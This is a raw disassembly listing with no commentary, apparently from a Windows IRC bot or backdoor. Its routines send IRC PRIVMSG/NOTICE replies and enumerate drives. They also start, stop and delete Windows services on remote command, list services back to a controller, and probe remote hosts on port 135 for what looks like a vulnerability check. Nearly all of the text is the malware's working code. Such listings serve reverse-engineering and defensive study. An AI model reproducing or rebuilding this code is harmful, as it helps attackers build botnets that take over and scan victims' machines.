lea eax, [ebp+var_118]
push esi
push eax
call sub_4173AC
lea eax, [ebp+var_98]
push esi
push eax
call sub_4173AC
add esp, 18h
loc_40D7D1: ; CODE XREF: sub_40D6CA+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40D6CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7E5 proc near ; CODE XREF: sub_40D8B7+17p
; sub_40D8B7+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40D6CA
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4177D0
add esp, 10h
test eax, eax
jnz short loc_40D858
push ebx
push ebx
call sub_40D639
pop ecx
push eax
push offset unk_42DDB4
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41792A
add esp, 14h
jmp short loc_40D88C
; ---------------------------------------------------------------------------
loc_40D858: ; CODE XREF: sub_40D7E5+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40D639
pop ecx
push eax
push offset unk_42DD68
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41792A
add esp, 20h
loc_40D88C: ; CODE XREF: sub_40D7E5+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_500]
push eax
call sub_40C4F7
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40D7E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8B7 proc near ; CODE XREF: sub_40F6F1+591Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40D8D8
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D7E5
add esp, 10h
jmp short loc_40D939
; ---------------------------------------------------------------------------
loc_40D8D8: ; CODE XREF: sub_40D8B7+9j
push esi
push edi
push ebx
push ebx
call dword_441328 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_417BEE
pop ecx
mov edi, eax
push edi
push esi
call dword_441328 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40D930
loc_40D8FC: ; CODE XREF: sub_40D8B7+77j
push offset off_42DE00
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40D91F
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D7E5
add esp, 10h
loc_40D91F: ; CODE XREF: sub_40D8B7+54j
push esi
call sub_417AF0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40D8FC
loc_40D930: ; CODE XREF: sub_40D8B7+43j
push edi
call sub_417C62
pop ecx
pop edi
pop esi
loc_40D939: ; CODE XREF: sub_40D8B7+1Fj
pop ebx
pop ebp
retn
sub_40D8B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D93C proc near ; DATA XREF: ___:0040EC3Fo
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_446E1C
call dword_441450 ; closesocket
call sub_417021
call dword_441318 ; WSACleanup
call dword_441318 ; WSACleanup
mov ebx, dword_421070
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417430
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417430
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43C63C
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 7C814EEAh
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 7C80B4CFh
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 7C802367h
test eax, eax
jz short loc_40DA01
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_42107C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_40DA01: ; CODE XREF: sub_40D93C+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_4457C4
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 7C81CDDAh
pop edi
pop esi
pop ebx
sub_40D93C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA24 proc near ; CODE XREF: sub_40DA5C+125p
; sub_40DA5C+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_40DA52
loc_40DA35: ; CODE XREF: sub_40DA24+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_418EB0
add esp, 0Ch
test eax, eax
jz short loc_40DA58
inc esi
cmp esi, edi
jl short loc_40DA35
loc_40DA52: ; CODE XREF: sub_40DA24+Fj
xor al, al
loc_40DA54: ; CODE XREF: sub_40DA24+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DA58: ; CODE XREF: sub_40DA24+27j
mov al, 1
jmp short loc_40DA54
sub_40DA24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA5C proc near ; CODE XREF: sub_403E35+8Bp
; sub_403E35+174p ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_417B70
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_40DA9D
dec eax
jz short loc_40DA7B
dec eax
loc_40DA75: ; CODE XREF: sub_40DA5C+57j
xor eax, eax
loc_40DA77: ; CODE XREF: sub_40DA5C+3Fj
; sub_40DA5C+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_40DA7B: ; CODE XREF: sub_40DA5C+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4413F8 ; inet_addr
push eax
call sub_407635
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_40DA77
; ---------------------------------------------------------------------------
loc_40DA9D: ; CODE XREF: sub_40DA5C+13j
push 6
push 1
push 2
call dword_441438 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_40DA75
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4413B8 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40AE95
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_441360 ; connect
cmp eax, edi
jz loc_40DBB9
push ebx
push 48h
push offset dword_42DE04
push esi
call dword_441408 ; send
cmp eax, edi
jz loc_40DBB9
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4413D0 ; recv
cmp eax, edi
jz loc_40DBB9
cmp [ebp+var_200E], 0Ch
jnz short loc_40DBB9
push ebx
push 18h
push offset dword_42DE50
push [ebp+arg_4]
call dword_441408 ; send
cmp eax, edi
jz short loc_40DBB9
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4413D0 ; recv
mov esi, eax
cmp esi, edi
jz short loc_40DBB9
cmp [ebp+var_200E], 2
jnz short loc_40DBB9
push 10h
push offset loc_42DE6C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40DA24
add esp, 10h
test al, al
jz short loc_40DB99
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_40DBB9
; ---------------------------------------------------------------------------
loc_40DB99: ; CODE XREF: sub_40DA5C+12Fj
push 10h
push offset dword_42DE80
lea eax, [ebp+var_2010]
push esi
push eax
call sub_40DA24
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_40DBB9: ; CODE XREF: sub_40DA5C+9Bj
; sub_40DA5C+B2j ...
push [ebp+arg_4]
call dword_441450 ; closesocket
mov eax, ebx
pop ebx
jmp loc_40DA77
sub_40DA5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DBCA proc near ; CODE XREF: sub_40F576+3Dp
; sub_40F6F1+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_418BEF
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_441408 ; send
leave
retn
sub_40DBCA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC10 proc near ; CODE XREF: sub_401000+88p
; sub_401447+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40DC2B
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40DC2B: ; CODE XREF: sub_40DC10+14j
push edi
call sub_417AF0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_417AF0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset dword_42433C
push esi
push eax
call sub_41792A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42DE94
push eax
call sub_4173AC
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_441408 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40DCA9
push 7D0h
nop
call near ptr 7C802442h
locret_40DCA9: ; CODE XREF: sub_40DC10+8Cj
leave
retn
sub_40DC10 endp
; =============== S U B R O U T I N E =======================================
sub_40DCAB proc near ; CODE XREF: sub_40F6F1:loc_41180Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40DD10
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_42DEB8[esi]
push edi
push eax
call sub_40DD32
add esp, 14h
test eax, eax
jnz short loc_40DCF3
push edi
push off_42DEB4[esi]
mov esi, offset dword_445E8C
push offset unk_42DFEC
push esi
call sub_4173AC
add esp, 10h
jmp short loc_40DD2D
; ---------------------------------------------------------------------------
loc_40DCF3: ; CODE XREF: sub_40DCAB+2Aj
push eax
call sub_40DDD4
push eax
push edi
mov esi, offset dword_445E8C
push offset unk_42DFB0
push esi
call sub_4173AC
add esp, 14h
jmp short loc_40DD2D
; ---------------------------------------------------------------------------
loc_40DD10: ; CODE XREF: sub_40DCAB+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_445E8C
push off_42DEB0[eax*4]
push offset unk_42DF78
push esi
call sub_4173AC
add esp, 0Ch
loc_40DD2D: ; CODE XREF: sub_40DCAB+46j
; sub_40DCAB+63j
mov eax, esi
pop edi
pop esi
retn
sub_40DCAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD32 proc near ; CODE XREF: sub_40DCAB+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4413AC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_40DD59
nop
call near ptr 7C910331h
mov ebx, eax
jmp short loc_40DDCE
; ---------------------------------------------------------------------------
loc_40DD59: ; CODE XREF: sub_40DD32+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4412A0 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_40DD79
nop
call near ptr 7C910331h
mov ebx, eax
jmp short loc_40DDC6
; ---------------------------------------------------------------------------
loc_40DD79: ; CODE XREF: sub_40DD32+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40DDAC
cmp eax, 3
jz short loc_40DD9D
jle short loc_40DDBF
cmp eax, 6
jg short loc_40DDBF
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_441308 ; ControlService
jmp short loc_40DDB3
; ---------------------------------------------------------------------------
loc_40DD9D: ; CODE XREF: sub_40DD32+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4412A8 ; StartServiceA
jmp short loc_40DDB3
; ---------------------------------------------------------------------------
loc_40DDAC: ; CODE XREF: sub_40DD32+4Dj
push esi
call dword_44130C ; DeleteService
loc_40DDB3: ; CODE XREF: sub_40DD32+69j
; sub_40DD32+78j
test eax, eax
jnz short loc_40DDBF
nop
call near ptr 7C910331h
mov ebx, eax
loc_40DDBF: ; CODE XREF: sub_40DD32+54j
; sub_40DD32+59j ...
push esi
call dword_4412BC ; CloseServiceHandle
loc_40DDC6: ; CODE XREF: sub_40DD32+45j
push edi
call dword_4412BC ; CloseServiceHandle
pop esi
loc_40DDCE: ; CODE XREF: sub_40DD32+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40DD32 endp
; =============== S U B R O U T I N E =======================================
sub_40DDD4 proc near ; CODE XREF: sub_40DCAB+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40DE89
jz loc_40DE82
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40DE4C
jz short loc_40DE42
mov ecx, eax
sub ecx, 3
jz short loc_40DE38
dec ecx
dec ecx
jz short loc_40DE2E
dec ecx
jz short loc_40DE24
sub ecx, 51h
jz short loc_40DE1A
sub ecx, 24h
jnz loc_40DEFF ; default
; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE1A: ; CODE XREF: sub_40DDD4+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE24: ; CODE XREF: sub_40DDD4+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE2E: ; CODE XREF: sub_40DDD4+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE38: ; CODE XREF: sub_40DDD4+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE42: ; CODE XREF: sub_40DDD4+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE4C: ; CODE XREF: sub_40DDD4+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40DE7B
dec ecx
jz short loc_40DE74
dec ecx
jz short loc_40DE6D
dec ecx
jnz loc_40DEFF ; default
; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE6D: ; CODE XREF: sub_40DDD4+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE74: ; CODE XREF: sub_40DDD4+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE7B: ; CODE XREF: sub_40DDD4+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE82: ; CODE XREF: sub_40DDD4+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DE89: ; CODE XREF: sub_40DDD4+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40DEFF ; default
; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
jz short loc_40DEEC
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40DEFF ; default
; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_40DF40[ecx]
jmp off_40DF18[ecx*4] ; switch jump
loc_40DEAD: ; DATA XREF: ___:off_40DF18o
push offset aTheSpecifiedDa ; jumptable 0040DEA6 case 7
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEB4: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceDepe ; jumptable 0040DEA6 case 17
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEBB: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceDe_0 ; jumptable 0040DEA6 case 10
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEC2: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceHasB ; jumptable 0040DEA6 case 0
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEC9: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheSpecified_0 ; jumptable 0040DEA6 case 2
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DED0: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceCoul ; jumptable 0040DEA6 case 11
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DED7: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceHa_0 ; jumptable 0040DEA6 case 14
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEDE: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheRequested_1 ; jumptable 0040DEA6 case 3
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEE5: ; CODE XREF: sub_40DDD4+D2j
; DATA XREF: ___:off_40DF18o
push offset aTheServiceHasN ; jumptable 0040DEA6 case 4
jmp short loc_40DEF1
; ---------------------------------------------------------------------------
loc_40DEEC: ; CODE XREF: sub_40DDD4+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40DEF1: ; CODE XREF: sub_40DDD4+41j
; sub_40DDD4+4Bj ...
push offset dword_4457CC
call sub_4173AC
pop ecx
pop ecx
jmp short loc_40DF12
; ---------------------------------------------------------------------------
loc_40DEFF: ; CODE XREF: sub_40DDD4+36j
; sub_40DDD4+89j ...
push eax ; default
; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_4457CC
call sub_4173AC
add esp, 0Ch
loc_40DF12: ; CODE XREF: sub_40DDD4+129j
mov eax, offset dword_4457CC
retn
sub_40DDD4 endp
; ---------------------------------------------------------------------------
off_40DF18 dd offset loc_40DEC2 ; DATA XREF: sub_40DDD4+D2r
dd offset loc_40DEC9 ; jump table for switch statement
dd offset loc_40DEDE
dd offset loc_40DEE5
dd offset loc_40DEAD
dd offset loc_40DEBB
dd offset loc_40DED0
dd offset loc_40DED7
dd offset loc_40DEB4
dd offset loc_40DEFF
byte_40DF40 db 0, 9, 1, 2 ; DATA XREF: sub_40DDD4+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DF52 proc near ; CODE XREF: sub_40F6F1+2148p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4413AC ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_40DF8A: ; CODE XREF: sub_40DF52+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_441378 ; EnumServicesStatusA
test eax, eax
jnz short loc_40DFC4
nop
call near ptr 7C910331h
cmp eax, 0EAh
jnz loc_40E078
loc_40DFC4: ; CODE XREF: sub_40DF52+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40E06F
lea esi, [ebp+var_188]
loc_40DFD5: ; CODE XREF: sub_40DF52+117j
mov eax, [esi+8]
dec eax
jz short loc_40E01E
dec eax
jz short loc_40E017
dec eax
jz short loc_40E010
dec eax
jz short loc_40E009
dec eax
jz short loc_40E002
dec eax
jz short loc_40DFFB
dec eax
jz short loc_40DFF4
push offset aUnknown_0 ; " Unknown"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40DFF4: ; CODE XREF: sub_40DF52+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40DFFB: ; CODE XREF: sub_40DF52+96j
push offset aPausing ; " Pausing"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40E002: ; CODE XREF: sub_40DF52+93j
push offset aContinuing ; " Continuing"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40E009: ; CODE XREF: sub_40DF52+90j
push offset aRunning ; " Running"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40E010: ; CODE XREF: sub_40DF52+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40E017: ; CODE XREF: sub_40DF52+8Aj
push offset aStarting ; " Starting"
jmp short loc_40E023
; ---------------------------------------------------------------------------
loc_40E01E: ; CODE XREF: sub_40DF52+87j
push offset aStopped ; " Stopped"
loc_40E023: ; CODE XREF: sub_40DF52+A0j
; sub_40DF52+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4173AC
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40DFD5
loc_40E06F: ; CODE XREF: sub_40DF52+77j
cmp [ebp+var_8], ebx
jnz loc_40DF8A
loc_40E078: ; CODE XREF: sub_40DF52+6Cj
push [ebp+var_C]
call dword_4412BC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40DF52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E08F proc near ; CODE XREF: sub_40F6F1:loc_4118F0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40E128
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40E0B8
dec eax
jnz short loc_40E108
push edi
push 0
call sub_40E261
pop ecx
pop ecx
jmp short loc_40E104
; ---------------------------------------------------------------------------
loc_40E0B8: ; CODE XREF: sub_40E08F+18j
cmp [ebp+arg_8], 0
jnz short loc_40E0F6
push 24h
push edi
call sub_418630
pop ecx
test eax, eax
pop ecx
jnz short loc_40E0F6
push 57h
pop eax
loc_40E0CF: ; CODE XREF: sub_40E08F+77j
push eax
call sub_40EA39
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_445A88
push off_42DEB0[eax*4]
push offset unk_42E5BC
push esi
call sub_4173AC
add esp, 18h
jmp short loc_40E148
; ---------------------------------------------------------------------------
loc_40E0F6: ; CODE XREF: sub_40E08F+2Dj
; sub_40E08F+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40E1B5
add esp, 0Ch
loc_40E104: ; CODE XREF: sub_40E08F+27j
test eax, eax
jnz short loc_40E0CF
loc_40E108: ; CODE XREF: sub_40E08F+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_445A88
push off_42DEB4[eax*4]
push offset unk_42E58C
push esi
call sub_4173AC
add esp, 10h
jmp short loc_40E148
; ---------------------------------------------------------------------------
loc_40E128: ; CODE XREF: sub_40E08F+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_445A88
lea eax, [eax+eax*2]
push off_42DEB0[eax*4]
push offset unk_42E554
push esi
call sub_4173AC
add esp, 0Ch
loc_40E148: ; CODE XREF: sub_40E08F+65j
; sub_40E08F+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40E08F endp
; =============== S U B R O U T I N E =======================================
sub_40E14E proc near ; CODE XREF: sub_416561+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40E15B
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E15B: ; CODE XREF: sub_40E14E+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_421158
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_445C88, 1
mov ebp, eax
jnz short loc_40E198
or byte_445C88, 1
lea eax, [ebp+1]
push eax
call sub_418F5C
pop ecx
mov dword_445A28, eax
loc_40E198: ; CODE XREF: sub_40E14E+32j
push esi
push esi
push ebp
push dword_445A28
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_445A28
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40E14E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E1B5 proc near ; CODE XREF: sub_40E08F+6Dp
; sub_416885+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40E220
push [ebp+arg_4]
mov edi, eax
call sub_40E220
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_418630
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40E220
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4412B8
pop edi
leave
retn
sub_40E1B5 endp
; =============== S U B R O U T I N E =======================================
sub_40E220 proc near ; CODE XREF: sub_40E1B5+Ap
; sub_40E1B5+14p ...
arg_0 = dword ptr 4
push ebp
